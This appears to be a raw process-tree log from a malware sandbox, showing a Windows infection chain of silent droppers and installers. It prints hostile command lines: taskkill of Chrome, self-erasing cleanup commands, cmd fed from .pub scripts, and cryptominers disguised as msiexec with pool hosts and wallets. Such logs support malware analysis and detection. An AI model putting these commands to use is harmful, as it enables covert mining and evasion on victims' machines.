C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe9⤵PID:7272
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe10⤵
- Kills process with taskkill
PID:6848
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\vv0tguf2.plq\toolspab1.exe & exit7⤵PID:7580
-
C:\Users\Admin\AppData\Local\Temp\vv0tguf2.plq\toolspab1.exeC:\Users\Admin\AppData\Local\Temp\vv0tguf2.plq\toolspab1.exe8⤵PID:8044
-
C:\Users\Admin\AppData\Local\Temp\vv0tguf2.plq\toolspab1.exeC:\Users\Admin\AppData\Local\Temp\vv0tguf2.plq\toolspab1.exe9⤵PID:4904
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\jx1aarm1.smu\setup_10.2_mix.exe & exit7⤵PID:7080
-
C:\Users\Admin\AppData\Local\Temp\jx1aarm1.smu\setup_10.2_mix.exeC:\Users\Admin\AppData\Local\Temp\jx1aarm1.smu\setup_10.2_mix.exe8⤵PID:2928
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\jmtmylgg.huk\GcleanerWW.exe /mixone & exit7⤵PID:7604
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\led3hb1a.pi2\app.exe /8-2222 & exit7⤵PID:6148
-
C:\Users\Admin\AppData\Local\Temp\led3hb1a.pi2\app.exeC:\Users\Admin\AppData\Local\Temp\led3hb1a.pi2\app.exe /8-22228⤵PID:6340
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\2i4xry2k.3hv\file.exe & exit7⤵PID:7096
-
C:\Users\Admin\AppData\Local\Temp\2i4xry2k.3hv\file.exeC:\Users\Admin\AppData\Local\Temp\2i4xry2k.3hv\file.exe8⤵PID:6232
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe"9⤵PID:3924
-
C:\Users\Admin\AppData\Local\Temp\BGGKDQFU8R\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\BGGKDQFU8R\multitimer.exe" 0 3060197d33d91c80.94013368 0 10110⤵PID:6840
-
C:\Users\Admin\AppData\Local\Temp\BGGKDQFU8R\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\BGGKDQFU8R\multitimer.exe" 1 3.1617436401.60681ef1c6ade 10111⤵PID:5196
-
C:\Users\Admin\AppData\Local\Temp\BGGKDQFU8R\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\BGGKDQFU8R\multitimer.exe" 2 3.1617436401.60681ef1c6ade12⤵PID:7480
-
C:\Users\Admin\AppData\Local\Temp\5uo4orf4is2\3uryozii5bn.exe"C:\Users\Admin\AppData\Local\Temp\5uo4orf4is2\3uryozii5bn.exe" /ustwo INSTALL13⤵PID:9060
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "3uryozii5bn.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\5uo4orf4is2\3uryozii5bn.exe" & exit14⤵PID:5400
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "3uryozii5bn.exe" /f15⤵
- Kills process with taskkill
PID:8552
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\ogusqks0vo5\cpyrix.exe"C:\Users\Admin\AppData\Local\Temp\ogusqks0vo5\cpyrix.exe" /VERYSILENT13⤵PID:8824
-
C:\Users\Admin\AppData\Roaming\1.exeC:\Users\Admin\AppData\Roaming\1.exe14⤵PID:392
-
C:\Windows\SysWOW64\at.exe"C:\Windows\System32\at.exe"15⤵PID:8420
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\cmd.exe < Tre.pub15⤵PID:8756
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\System32\cmd.exe16⤵PID:6796
-
-
-
-
C:\Users\Admin\AppData\Roaming\2.exeC:\Users\Admin\AppData\Roaming\2.exe14⤵PID:2752
-
C:\Users\Admin\AppData\Roaming\2.exe"{path}"15⤵PID:9148
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\0xyuu3teijr\vict.exe"C:\Users\Admin\AppData\Local\Temp\0xyuu3teijr\vict.exe" /VERYSILENT /id=53513⤵PID:8452
-
C:\Users\Admin\AppData\Local\Temp\is-CL36K.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-CL36K.tmp\vict.tmp" /SL5="$306FA,870426,780800,C:\Users\Admin\AppData\Local\Temp\0xyuu3teijr\vict.exe" /VERYSILENT /id=53514⤵PID:3680
-
C:\Users\Admin\AppData\Local\Temp\is-VBG30.tmp\win1host.exe"C:\Users\Admin\AppData\Local\Temp\is-VBG30.tmp\win1host.exe" 53515⤵PID:7932
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\hhafboww21g\app.exe"C:\Users\Admin\AppData\Local\Temp\hhafboww21g\app.exe" /8-2313⤵PID:9176
-
-
C:\Users\Admin\AppData\Local\Temp\1zxvcs43ch5\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\1zxvcs43ch5\Setup3310.exe" /Verysilent /subid=57713⤵PID:180
-
C:\Users\Admin\AppData\Local\Temp\is-0NLO3.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-0NLO3.tmp\Setup3310.tmp" /SL5="$C0046,138429,56832,C:\Users\Admin\AppData\Local\Temp\1zxvcs43ch5\Setup3310.exe" /Verysilent /subid=57714⤵PID:3508
-
C:\Users\Admin\AppData\Local\Temp\is-84TIH.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-84TIH.tmp\Setup.exe" /Verysilent15⤵PID:7612
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\ELR9UBPCJK\setups.exe"C:\Users\Admin\AppData\Local\Temp\ELR9UBPCJK\setups.exe" ll10⤵PID:3492
-
C:\Users\Admin\AppData\Local\Temp\is-S8QE0.tmp\setups.tmp"C:\Users\Admin\AppData\Local\Temp\is-S8QE0.tmp\setups.tmp" /SL5="$9050A,635399,250368,C:\Users\Admin\AppData\Local\Temp\ELR9UBPCJK\setups.exe" ll11⤵PID:1428
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\askinstall20.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\askinstall20.exe"9⤵PID:4684
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe10⤵PID:7732
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe11⤵
- Kills process with taskkill
PID:5700
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\Full Program Features.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\Full Program Features.exe"9⤵PID:6480
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Program Files\unins.vbs"10⤵PID:2304
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Program Files\unins0000.dll",install11⤵PID:7892
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"9⤵PID:4892
-
C:\Users\Admin\AppData\Roaming\D36A.tmp.exe"C:\Users\Admin\AppData\Roaming\D36A.tmp.exe"10⤵PID:4180
-
C:\Users\Admin\AppData\Roaming\D36A.tmp.exe"C:\Users\Admin\AppData\Roaming\D36A.tmp.exe"11⤵PID:7768
-
-
-
C:\Users\Admin\AppData\Roaming\D706.tmp.exe"C:\Users\Admin\AppData\Roaming\D706.tmp.exe"10⤵PID:7228
-
-
C:\Users\Admin\AppData\Roaming\D6F6.tmp.exe"C:\Users\Admin\AppData\Roaming\D6F6.tmp.exe"10⤵PID:5792
-
C:\Windows\system32\msiexec.exe-P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.work@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 9999911⤵PID:7500
-
-
C:\Windows\system32\msiexec.exe-o pool.supportxmr.com:8080 -u 47wDrszce6VbnMB4zhhEA1Gr3EzwHx2eS6QzC5sFoq8iGdMjnzX8bnEjBdQHsAuW8C1SNgxyGa4DQTVnQ9jfhRod73np5P8 --cpu-max-threads-hint 50 -r 999911⤵PID:8308
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"10⤵PID:7672
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.111⤵
- Runs ping.exe
PID:9084
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\md2_2efs.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\md2_2efs.exe"9⤵PID:2312
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\o0myylgo.t4j\Four.exe & exit7⤵PID:5216
-
C:\Users\Admin\AppData\Local\Temp\o0myylgo.t4j\Four.exeC:\Users\Admin\AppData\Local\Temp\o0myylgo.t4j\Four.exe8⤵PID:4064
-
C:\Users\Admin\AppData\Local\Temp\LC3FGLCG1W\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\LC3FGLCG1W\multitimer.exe" 0 306033e7ac94ccd3.87625057 0 1049⤵PID:2908
-
C:\Users\Admin\AppData\Local\Temp\LC3FGLCG1W\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\LC3FGLCG1W\multitimer.exe" 1 3.1617436400.60681ef0b387b 10410⤵PID:688
-
C:\Users\Admin\AppData\Local\Temp\LC3FGLCG1W\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\LC3FGLCG1W\multitimer.exe" 2 3.1617436400.60681ef0b387b11⤵PID:8156
-
C:\Users\Admin\AppData\Local\Temp\goezofqubgt\app.exe"C:\Users\Admin\AppData\Local\Temp\goezofqubgt\app.exe" /8-2312⤵PID:8676
-
-
C:\Users\Admin\AppData\Local\Temp\oha0n2hubu0\f54e3ihefap.exe"C:\Users\Admin\AppData\Local\Temp\oha0n2hubu0\f54e3ihefap.exe" /ustwo INSTALL12⤵PID:8664
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "f54e3ihefap.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\oha0n2hubu0\f54e3ihefap.exe" & exit13⤵PID:6324
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "f54e3ihefap.exe" /f14⤵
- Kills process with taskkill
PID:1364
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0qt0z1igc2\vict.exe"C:\Users\Admin\AppData\Local\Temp\r0qt0z1igc2\vict.exe" /VERYSILENT /id=53512⤵PID:8656
-
-
C:\Users\Admin\AppData\Local\Temp\xg20ccovgfw\cpyrix.exe"C:\Users\Admin\AppData\Local\Temp\xg20ccovgfw\cpyrix.exe" /VERYSILENT12⤵PID:8648
-
C:\Users\Admin\AppData\Roaming\1.exeC:\Users\Admin\AppData\Roaming\1.exe13⤵PID:3212
-
C:\Windows\SysWOW64\at.exe"C:\Windows\System32\at.exe"14⤵PID:5680
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\cmd.exe < Tre.pub14⤵PID:7532
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\System32\cmd.exe15⤵PID:8204
-
-
-
-
C:\Users\Admin\AppData\Roaming\2.exeC:\Users\Admin\AppData\Roaming\2.exe13⤵PID:5212
-
C:\Users\Admin\AppData\Roaming\2.exe"{path}"14⤵PID:2064
-
-
C:\Users\Admin\AppData\Roaming\2.exe"{path}"14⤵PID:2088
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\agw4ttpx3sk\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\agw4ttpx3sk\Setup3310.exe" /Verysilent /subid=57712⤵PID:8640
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\PA4Y9KP20O\setups.exe"C:\Users\Admin\AppData\Local\Temp\PA4Y9KP20O\setups.exe" ll9⤵PID:6140
-
C:\Users\Admin\AppData\Local\Temp\is-J9HRP.tmp\setups.tmp"C:\Users\Admin\AppData\Local\Temp\is-J9HRP.tmp\setups.tmp" /SL5="$801F4,635399,250368,C:\Users\Admin\AppData\Local\Temp\PA4Y9KP20O\setups.exe" ll10⤵PID:948
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\0b-bcef1-8b0-f5e8a-501a15a4ab2bf\Pyqedogyha.exe"C:\Users\Admin\AppData\Local\Temp\0b-bcef1-8b0-f5e8a-501a15a4ab2bf\Pyqedogyha.exe"6⤵PID:5188
-
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exedw20.exe -x -s 9607⤵PID:6824
-
-
-
-
-
-
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\2oG1o0Zhe2Ng.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\2oG1o0Zhe2Ng.exe"3⤵PID:5908
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe4⤵PID:3948
-
-
-
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\Three.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\Three.exe"3⤵PID:4656
-
C:\Users\Admin\AppData\Local\Temp\I6BEOB3U01\setups.exe"C:\Users\Admin\AppData\Local\Temp\I6BEOB3U01\setups.exe" ll4⤵PID:4724
-
C:\Users\Admin\AppData\Local\Temp\is-DO47C.tmp\setups.tmp"C:\Users\Admin\AppData\Local\Temp\is-DO47C.tmp\setups.tmp" /SL5="$60472,635399,250368,C:\Users\Admin\AppData\Local\Temp\I6BEOB3U01\setups.exe" ll5⤵PID:4512
-
-
-
C:\Users\Admin\AppData\Local\Temp\DXD5E6BFJ5\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\DXD5E6BFJ5\multitimer.exe" 0 306065bb10421b26.04333812 0 1034⤵PID:4740
-
C:\Users\Admin\AppData\Local\Temp\DXD5E6BFJ5\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\DXD5E6BFJ5\multitimer.exe" 1 3.1617436207.60681e2f9ff8a 1035⤵PID:5168
-
C:\Users\Admin\AppData\Local\Temp\DXD5E6BFJ5\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\DXD5E6BFJ5\multitimer.exe" 2 3.1617436207.60681e2f9ff8a6⤵PID:4416
-
C:\Users\Admin\AppData\Local\Temp\gfz2ehg1v44\app.exe"C:\Users\Admin\AppData\Local\Temp\gfz2ehg1v44\app.exe" /8-237⤵PID:6356
-
C:\Users\Admin\AppData\Local\Temp\gfz2ehg1v44\app.exe"C:\Users\Admin\AppData\Local\Temp\gfz2ehg1v44\app.exe" /8-238⤵PID:7820
-
-
-
C:\Users\Admin\AppData\Local\Temp\gwt0ewawqhb\c1fpn5vn5gp.exe"C:\Users\Admin\AppData\Local\Temp\gwt0ewawqhb\c1fpn5vn5gp.exe" /ustwo INSTALL7⤵PID:6436
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "c1fpn5vn5gp.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\gwt0ewawqhb\c1fpn5vn5gp.exe" & exit8⤵PID:7208
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "c1fpn5vn5gp.exe" /f9⤵
- Kills process with taskkill
PID:7692
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\4kgyesqjb1o\vict.exe"C:\Users\Admin\AppData\Local\Temp\4kgyesqjb1o\vict.exe" /VERYSILENT /id=5357⤵PID:6508
-
C:\Users\Admin\AppData\Local\Temp\is-EJ216.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-EJ216.tmp\vict.tmp" /SL5="$302AE,870426,780800,C:\Users\Admin\AppData\Local\Temp\4kgyesqjb1o\vict.exe" /VERYSILENT /id=5358⤵PID:6704
-
C:\Users\Admin\AppData\Local\Temp\is-HPGQR.tmp\win1host.exe"C:\Users\Admin\AppData\Local\Temp\is-HPGQR.tmp\win1host.exe" 5359⤵PID:6256
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\o0svnei3uyv\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\o0svnei3uyv\Setup3310.exe" /Verysilent /subid=5777⤵PID:6524
-
C:\Users\Admin\AppData\Local\Temp\is-F75F7.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-F75F7.tmp\Setup3310.tmp" /SL5="$602AC,138429,56832,C:\Users\Admin\AppData\Local\Temp\o0svnei3uyv\Setup3310.exe" /Verysilent /subid=5778⤵PID:6648
-
C:\Users\Admin\AppData\Local\Temp\is-T53J3.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-T53J3.tmp\Setup.exe" /Verysilent9⤵PID:5480
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\ausrir0dqo5\cpyrix.exe"C:\Users\Admin\AppData\Local\Temp\ausrir0dqo5\cpyrix.exe" /VERYSILENT7⤵PID:6500
-
C:\Users\Admin\AppData\Roaming\1.exeC:\Users\Admin\AppData\Roaming\1.exe8⤵PID:996
-
C:\Windows\SysWOW64\at.exe"C:\Windows\System32\at.exe"9⤵PID:7068
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\cmd.exe < Tre.pub9⤵PID:2600
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\System32\cmd.exe10⤵PID:6764
-
-
-
-
C:\Users\Admin\AppData\Roaming\2.exeC:\Users\Admin\AppData\Roaming\2.exe8⤵PID:5356
-
C:\Users\Admin\AppData\Roaming\2.exe"{path}"9⤵PID:7020
-
-
C:\Users\Admin\AppData\Roaming\2.exe"{path}"9⤵PID:3604
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\zze2g3rnixa\vpn.exe"C:\Users\Admin\AppData\Local\Temp\zze2g3rnixa\vpn.exe" /silent /subid=4827⤵PID:6588
-
C:\Users\Admin\AppData\Local\Temp\is-0IM2I.tmp\vpn.tmp"C:\Users\Admin\AppData\Local\Temp\is-0IM2I.tmp\vpn.tmp" /SL5="$302BA,15170975,270336,C:\Users\Admin\AppData\Local\Temp\zze2g3rnixa\vpn.exe" /silent /subid=4828⤵PID:6740
-
-
-
-
-
-
-
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\HookSetp.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\HookSetp.exe"3⤵PID:2240
-
-
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\jg7_7wjg.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\jg7_7wjg.exe"3⤵PID:5208
-
-
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\RunWW.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\RunWW.exe"3⤵PID:5404
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5404 -s 9284⤵
- Program crash
PID:6424
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5404 -s 10044⤵
- Program crash
PID:6616
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5404 -s 10204⤵
- Program crash
PID:7484
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5404 -s 10284⤵
- Program crash
PID:5088
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5404 -s 12284⤵
- Program crash
PID:4860
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5404 -s 10524⤵
- Program crash
PID:4376
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5404 -s 15044⤵
- Program crash
PID:5412
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5404 -s 15444⤵
- Program crash
PID:8368
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5404 -s 15684⤵
- Program crash
PID:8988
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5404 -s 14604⤵
- Program crash
PID:8268
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5404 -s 17884⤵
- Program crash
PID:6380
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5404 -s 15244⤵
- Program crash
PID:4632
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5404 -s 14564⤵
- Program crash
PID:808
-
-
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵PID:6092
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 85923D5FDC46AADDE41EBD0FAFD11C35 C2⤵PID:4772
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 89762733A2D470B9995B3EC0D6617A8B2⤵PID:5876
-
-
C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\aipackagechainer.exe"C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\aipackagechainer.exe"2⤵PID:6664
-
C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\RequiredApplication_1\Weather_Installation.exe"C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\RequiredApplication_1\Weather_Installation.exe" -silent=1 -AF=756 -BF=default -uncf=default3⤵PID:4816
-
C:\Users\Admin\AppData\Roaming\Weather\Weather.exe"C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" "--anbfs"4⤵PID:9988
-
C:\Users\Admin\AppData\Roaming\Weather\Weather.exeC:\Users\Admin\AppData\Roaming\Weather\Weather.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Weather\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Weather\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Weather\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Weather\User Data" --annotation=plat=Win64 --annotation=prod=Weather --annotation=ver=0.0.2 --initial-client-data=0x1c0,0x1bc,0x1b8,0x1c4,0x1b4,0x7ff944289ec0,0x7ff944289ed0,0x7ff944289ee05⤵PID:8164
-
C:\Users\Admin\AppData\Roaming\Weather\Weather.exeC:\Users\Admin\AppData\Roaming\Weather\Weather.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Weather\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Weather\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Weather --annotation=ver=0.0.2 --initial-client-data=0x124,0x128,0x12c,0x120,0xe8,0x7ff67eac4e60,0x7ff67eac4e70,0x7ff67eac4e806⤵PID:4420
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\EXE5492.bat" "3⤵PID:3992
-
C:\Windows\SysWOW64\attrib.exeC:\Windows\System32\attrib.exe -r "C:\Users\Admin\AppData\Roaming\Weather\Weather\PREREQ~1\AIPACK~1.EXE"4⤵
- Views/modifies file attributes
PID:8348
-
-
C:\Windows\SysWOW64\timeout.exeC:\Windows\System32\timeout.exe 54⤵
- Delays execution with timeout.exe
PID:3196
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\EXE5752.bat" "3⤵PID:3744
-
C:\Windows\SysWOW64\attrib.exeC:\Windows\System32\attrib.exe -r "C:\Users\Admin\AppData\Roaming\Weather\Weather\PREREQ~1"4⤵
- Views/modifies file attributes
PID:8904
-
-
C:\Windows\SysWOW64\timeout.exeC:\Windows\System32\timeout.exe 54⤵
- Delays execution with timeout.exe
PID:8252
-
-
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵PID:4144
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:5508
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵PID:6996
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:7148
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k dcomlaunch -s DeviceInstall1⤵PID:8168
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{69e6f609-c020-714b-80a1-2c4457d3122c}\oemvista.inf" "9" "4d14a44ff" "000000000000017C" "WinSta0\Default" "0000000000000180" "208" "c:\program files (x86)\maskvpn\driver\win764"2⤵PID:688
-
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem2.inf" "oemvista.inf:3beb73aff103cc24:tap0901.ndi:9.0.0.21:tap0901," "4d14a44ff" "000000000000017C"2⤵PID:4176
-
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s NetSetupSvc1⤵PID:7728
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s DsmSvc1⤵PID:8080
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe"1⤵PID:6688
-
C:\Program Files (x86)\MaskVPN\MaskVPNUpdate.exeMaskVPNUpdate.exe /silent2⤵PID:7960
-
-
C:\Users\Admin\AppData\Local\Temp\7A00.exeC:\Users\Admin\AppData\Local\Temp\7A00.exe1⤵PID:6672
-
C:\Users\Admin\AppData\Local\Temp\8442.exeC:\Users\Admin\AppData\Local\Temp\8442.exe1⤵PID:5708
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵PID:4064
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:2272
-
C:\Users\Admin\AppData\Local\Temp\B843.exeC:\Users\Admin\AppData\Local\Temp\B843.exe1⤵PID:7584
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s seclogon1⤵PID:7844
-
C:\Users\Admin\AppData\Local\Temp\CE5C.exeC:\Users\Admin\AppData\Local\Temp\CE5C.exe1⤵PID:3192
-
C:\Users\Admin\AppData\Local\Temp\DD32.exeC:\Users\Admin\AppData\Local\Temp\DD32.exe1⤵PID:6160
-
C:\Users\Admin\AppData\Local\Temp\DD32.exe"C:\Users\Admin\AppData\Local\Temp\DD32.exe"2⤵PID:9396
-
-
C:\Users\Admin\AppData\Local\Temp\E811.exeC:\Users\Admin\AppData\Local\Temp\E811.exe1⤵PID:4940
-
C:\Windows\SysWOW64\at.exe"C:\Windows\System32\at.exe"2⤵PID:8408
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\system32\cmd.exe < Dov.pub2⤵PID:9208
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe3⤵PID:8224
-
-
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:7356
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:5632
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:7280
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:3224
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:8580
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:8804
-
